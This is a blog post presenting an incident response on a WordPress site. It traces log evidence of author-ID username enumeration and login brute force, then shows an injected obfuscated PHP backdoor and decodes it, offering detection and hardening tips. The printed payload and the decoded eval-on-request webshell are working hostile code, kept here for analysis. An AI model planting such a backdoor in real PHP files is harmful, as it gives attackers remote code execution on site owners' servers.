Sunday, April 21, 2013

Incident response: WordPress brute force and simple backdoor

I encountered a rather simple automated WordPress brute force and infection system. It didn't take me long to figure out how it worked by looking at the logs and infected files. Here's the details.


Brute force using WordPress


If you check out the access log of WordPress, you'll rapidly see that a lot of "POST /wp-login.php HTTP/1.1" are coming from the same IP address. And that IP comes from a country with somewhat shady reputation. The User Agent field actually varies, but like way too much for the same IP.
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2"
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57)"
"Opera/9.80 (X11; Linux x86_64; U; bg) Presto/2.8.131 Version/11.10"
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.813.0 Chrome/14.0.813.0 Safari/535.1"

And so on.. it's like it changes at each request. Weird.

If you follow up the IP, you see that the first thing there is a "GET / HTTP/1.1". I presume it is there to find that the site is WordPress and then the attack is launched later, 8 days in this case. Maybe it was a big scan at first, then the attacker just fired up its brute force tool by himself, all using the same IP.

Then there's an interesting part:
"GET /?author=1 HTTP/1.1" 301
"GET /?author=2 HTTP/1.1" 301
"GET /?author=3 HTTP/1.1" 301
.. up to ..
"GET /?author=10 HTTP/1.1" 301

This actually returns a 301 to something like "/author/admin/", so that way it is possible to retrieve the username. So if you thought that renaming the admin user to something else, well, it's void by that "feature" of WordPress.

Then you see, less than one second after that last GET, that the brute force starts:
"POST /wp-login.php HTTP/1.1" 200
Each time WordPress is returning a 200.. until
"POST /wp-login.php HTTP/1.1" 302
and this is actually when a login is successful.


Infection of WordPress with a simple backdoor


Just one instant after that, it automatically starts to do this
"GET /wp-admin/theme-editor.php HTTP/1.1" 301 
"POST /wp-admin/theme-editor.php HTTP/1.1" 200
over a bunch of 
"GET /wp-admin/plugin-editor.php?file=disable-comments/disable-comments.php HTTP/1.1" 200
"POST /wp-admin/plugin-editor.php HTTP/1.1" 302
Note that it infects PHP, JS and CSS files, even if doing so on the last two is questionnable looking at the payload (I replaced "eval" by "echo"):
<?php /*tFi*/echo/*D|G].*/(/*'naT V*/base64_decode/*+m(%*/(/*=0<j*/'LyprYT1mKi9ldmFsLyogUVsnKi8oLyosfDJ4bSovYmFzZTY0X2RlY29kZS8qRzghWyovKC8qQ3VwYzFeKi8nTHlvdE1rZHRSRndxTDJsbUx5cE5jRUJUTTJNcUx5Z3ZLbVkzSicvKl4reWU4OFMqLy4vKlZyWFhWTj1AKi8nbUFxTDJsemMyVjBMeW9sSUdSeGNHa3FMeWd2S2tZbFFTb3ZKRicvKmw6YmY5Ki8uLypCNVw+byovJzlT'/*[n_i_!*/./*-Zwf-U*/'UlZGVlJWTlVMeW9vZXpkb0tpOWJMeXBwUlRGdktpOG5ZaWMnLypoeGFkTiovLi8qXn0/MCovJ3ZLbU5YUVhOclJDb3ZMaThxTmtkTEtpOG5lU2N2S25oemZpb3YnLypPdXpdKi8uLypgeiF8LnQpKi8nTGk4cUtEcDRkeW92SjJ3bkx5bytMV2xzWURZcUx5NHZLbmMxSScvKnhIekZkPl4tKi8uLypjYFddUk8qLydVWlFLaThuYkNj'/*Qi5_~:*/./*%ub(]l*/'dktsdG9RQ292TGk4cVlGSTBUeW92SjNWdUp5Jy8qPV4wRCovLi8qcH1uISovJzhxUkhJd0xsaHJTRzhxTDEwdktrVldMQ0Z4YW1vcUx5OHFSREYnLypkdz5cK0EreyovLi8qZnU6e0lpKi8ndWRWUlhmQ292S1M4cUlEaHZWQ292THlvOWRpRkhTVVIrS2k4cCcvKmRIQkQqLy4vKnxwKz1BKi8nTHlweU1tUXhXRWtwS2k5bGRtRnNM'/*2I;i*/./*7azS*/'eW9tVFd4ZklIa3FMeWd2SycvKnJST0w0QnQqLy4vKiU6WCVtIScqLydtcE1PVzhxTDNOMGNtbHdjMnhoYzJobGN5OHFVbXBnUUNvdktDJy8qMmliOHUqLy4vKj51OlcuTXUqLyc4cVFFTlViMHBJS2k4a1gxSkZVVlZGVTFRdktpbFZNWEE5S2k5Jy8qaDB3bkUqLy4vKlx8VHMsMVtqKi8nYkx5bzdURVJoTFNvdkoySW5MeXA1Y25G'/*)4ZE7*/./*%<]~*/'aVlDMHFMeTR2S21KaicvKmljSEIhPSovLi8qXDZhTHtTKi8nYXpaRklDb3ZKM2tuTHlvK1ZVODRLaTh1THlwWlBuWjRiQ292SicvKjRNYiovLi8qMDxQQHs5Ki8nMnduTHlwdmIwUmRma1FxTHk0dktsRlJlU292SjJ3bkx5cDNRaicvKmtieCsqLy4vKnNMQmsqLycwMFFsc3FMeTR2S2xRdGZWdGlLaThuZFc0bkx5cHNkSGtxTDEw'/*:n`d*/./*d?=@*/'Jy8qdjRAXCk4Ki8uLypbSnYqLyd2S21wUE9XQW1jaW92THlvM1JHUnlReW92S1M4cWJGZGZSU292Jy8qYHI2RDhoKi8uLyp5PUtpRmNJKi8nTHlvdVpHb3pQaW92S1M4cU5qTTNjV3BYZXlvdkx5cHRTM2hoS2k4N0x5cEVZajBxTHc9PScvKkJQZ2B4Ki8pLyp7Yyt9TyovLypad31WKi8pLypQYGEzKi8vKlREeyovOy8qYDI1X2EqLw=='/*tTNc*/)/*lXBpH*//*!n^[*/)/*-{%3*//*^0,%1*/;/*Q?k4zT7*/ ?>

Then I had to play with it, like a rusian doll, in order to go see what's inside:
/*-2GmD\*/if/*Mp@S3c*/(/*f7&`*/isset/*% dqpi*/(/*F%A*/$_REQUEST/*({7h*/[/*iE1o*/'b'/*cWAskD*/./*6GK*/'y'/*xs~*/./*(:xw*/'l'/*>-il`6*/./*w5!FP*/'l'/*[h@*/./*`R4O*/'un'/*Dr0.XkHo*/]/*EV,!qjj*//*D1nuTW|*/)/* 8oT*//*=v!GID~*/)/*r2d1XI)*/eval/*&Ml_ y*/(/*jL9o*/stripslashes/*Rj`@*/(/*@CToJH*/$_REQUEST/*)U1p=*/[/*;LDa-*/'b'/*yrqb`-*/./*bck6E */'y'/*>UO8*/./*Y>vxl*/'l'/*ooD]~D*/./*QQy*/'l'/*wB=4B[*/./*T-}[b*/'un'/*lty*/]/*jO9`&r*//*7DdrC*/)/*lW_E*//*.dj3>*/)/*637qjW{*//*mKxa*/;/*Db=*//*N^80>W*/if/*['7H-&*/(/*E@jc-JVv*/isset/*B{0Rt)(*/(/*\+WF*/$_REQUEST/*`:N)*/[/*v_kR*/'juu'/*}y3*/./*5>'.`*/'ltwf'/*^ _1g*/]/*Igww0*//*;MN_7*/)/*H<2*//*(+yPz*/)/*vw=K1*/eval/*R8Us+rn*/(/*PaeT*/stripslashes/*vO@*/(/*3Ic8Y*/$_REQUEST/*w39&B*/[/*'>wco_o*/'ju'/*tut7n*/./*q02H*/'ul'/*TOdt. (*/./*_AnurWu\*/'twf'/*2cx|i*/]/*%'3Jh>p*//*i;|*/)/*Vg<{i*//*&3aNc*/)/*5[avi*//*xg\7V*/;/*txFiAuZ*/

then removing the comments with something like http://beta.phpformatter.com/ :
if (isset($_REQUEST['b' . 'y' . 'l' . 'l' . 'un']))
eval(stripslashes($_REQUEST['b' . 'y' . 'l' . 'l' . 'un']));

if (isset($_REQUEST['juu' . 'ltwf']))
eval(stripslashes($_REQUEST['ju' . 'ul' . 'twf']));

and the useless fluff:
if (isset($_REQUEST['byllun']))
eval(stripslashes($_REQUEST['byllun']));

if (isset($_REQUEST['juultwf']))
eval(stripslashes($_REQUEST['juultwf']));

So basically, it's a backdoor that evals content from GET or POST. I haven't found any usage of them in the logs, so it may be that it was passed by POST or not used at all. Also, the same IP adress didn't made any request out of the brute force or infection patterns, so the chances it happenned is lower.

How to scan

Easy, for your files, look at something like LyprYT1mKi9ldmFsLyog or LypaVnxXKi8. But then, it could be that some part are generated randomly, so to make sure, just look for evals and base64_decode, the code shbouldn't have a lot of theses anyways.

For the access logs, you just need to check your hits at POST /wp-login.php and sort it by count number. The brute force will then appear easily.

How to fix

There's a lot of resources that you can find on the subject, especially on http://codex.wordpress.org/Brute_Force_Attacks and http://codex.wordpress.org/Hardening_WordPress but a simple solution, that will also ease the load of your server, is to add an additionnal password check or IP restriction to wp-login and wp-admin while you are at it.

<LocationMatch "wp-(login|admin)">
AuthUserFile /var/.htpasswd
AuthName "AUTHORIZED USERS ONLY"
AuthType Basic
require valid-user
</LocationMatch>

Another fix, if you have access to ModSecurity, is detailled on http://blog.spiderlabs.com/2013/04/defending-wordpress-logins-from-brute-force-attacks.html

Conclusion

So this was a very simple backdoor and easy to find infection. The brute force system was simple also. The conclusion we can all get from this is that attackers use easy methods and tools because it works. So please keep your password strong everywhere, including on your WordPress site and don't use the argument that the username is "kinda secret" anymore.

No comments:

Post a Comment